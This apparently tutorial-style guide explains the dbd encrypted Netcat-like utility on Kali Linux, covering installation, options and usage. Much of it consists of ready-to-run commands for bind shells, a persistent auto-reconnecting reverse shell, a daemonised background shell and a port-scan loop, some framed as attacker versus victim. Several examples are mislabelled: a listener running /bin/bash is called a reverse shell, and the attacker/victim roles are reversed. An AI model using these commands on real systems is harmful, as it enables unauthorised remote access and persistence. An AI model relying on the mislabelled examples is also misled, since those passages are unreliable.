What is dbd?
dbd is a Netcat-like networking utility with built-in AES-CBC-128 + HMAC-SHA1 encryption for secure communication. It supports:
- TCP/UDP connections (like
nc). - Encrypted data transfer (unlike plaintext
nc). - Port forwarding & bind/reverse shells.
- Chat mode (similar to
ncchat). - Daemon mode (background execution).
Developed by Michel Blomgren, it’s useful for pentesting, secure file transfers, and backdoor shells.
Installation of dbd in Kali Linux
Method 1: Install from Repo (if available)
Bash
sudo apt update && sudo apt install dbdMethod 2: Manual Compilation (if not in repos)
- Download source:
Bash
wget http://www.cr0.net:8040/code/network/dbd.tgz
tar -xvf dbd.tgz
cd dbd- Compile & install:
Bash
make
sudo cp dbd /usr/local/bin/Basic Usage Examples
Connect to a Remote Host (like nc)
Bash
dbd 192.168.1.100 4444- Connects to
192.168.1.100on port4444.
Listen for Incoming Connections (Bind Shell)
Bash
dbd -l -p 4444- Listens on port
4444for incoming connections.
Execute a Shell on Connection (Reverse Shell)
Bash
dbd -l -p 4444 -e /bin/bash- Spawns a
/bin/bashshell when someone connects.
Encrypted Communication
Bash
dbd -l -p 4444 -c on -k "mysecretkey" # Server
dbd 192.168.1.100 4444 -c on -k "mysecretkey" # Client- Uses AES encryption with a shared key (
mysecretkey).
Advanced Usage
Port Forwarding (Relay)
Bash
dbd -l -p 4444 | dbd 192.168.1.200 80- Forwards traffic from
4444to192.168.1.200:80.
Persistent Reverse Shell (Auto-Reconnect)
Bash
dbd 192.168.1.100 4444 -r 5 -e /bin/bash- Reconnects every
5seconds if disconnected.
Daemon Mode (Run in Background)
Bash
dbd -l -p 4444 -e /bin/bash -D on- Runs persistently in the background.
Chat Mode (Encrypted Chat)
Bash
dbd -l -p 4444 -H on -P "[Server]: " # Server
dbd 192.168.1.100 4444 -H on -P "[Client]: " # Client- Enables colored chat with prefixes.
Command-Line Options (Full Breakdown)
| Option | Description |
|---|---|
-l | Listen mode (bind shell) |
-p n | Port to listen/connect |
-a addr | Bind to a specific IP |
-e prog | Execute program on connect (e.g., /bin/bash) |
-r n | Auto-reconnect every n seconds (-r0 = relisten) |
-c on/off | Enable/disable encryption (AES-CBC-128 + HMAC-SHA1) |
-k secret | Encryption key (must match on both sides) |
-q | Quiet mode (no output) |
-v | Verbose mode |
-n | Disable DNS resolution |
-m | Enable monitoring (snoop on executed program) |
-P prefix | Add prefix to outgoing data (for chat) |
-H on/off | Highlight incoming data (colorized) |
-V | Show version |
-s | Spawn a shell (useful for privilege escalation) |
-w n | Timeout after n seconds of inactivity |
-D on/off | Run as a daemon (background process) |
Real-World Use Cases
- Secure File Transfer
Bash
dbd -l -p 4444 > received_file # Receiver
dbd 192.168.1.100 4444 < send_file # Sender - Encrypted Reverse Shell
Bash
dbd -l -p 4444 -e /bin/bash -c on -k "s3cr3t" # Attacker
dbd 192.168.1.100 4444 -c on -k "s3cr3t" # Victim - Port Scanning (Like
nc -z)
Bash
for port in {1..1000}; do dbd -n 192.168.1.100 $port -w 1 && echo "$port open"; done - Chat Server (Encrypted)
Bash
dbd -l -p 4444 -H on -P "Alice: " # Server
dbd 192.168.1.100 4444 -H on -P "Bob: " # Client Troubleshooting
Issue: Connection Fails
- Check firewall (
ufw,iptables). - Verify IP/port correctness.
Issue: Encryption Not Working
- Ensure
-kkey matches on both sides. - Use
-c onexplicitly.
Issue: Program Doesn’t Execute (-e)
- Check if the path is correct (
/bin/bash, not justbash). - Use
-vfor debugging.
Issue: Port Already in Use
- Find & kill the process:
Bash
sudo netstat -tulnp | grep 4444
sudo kill -9 <PID>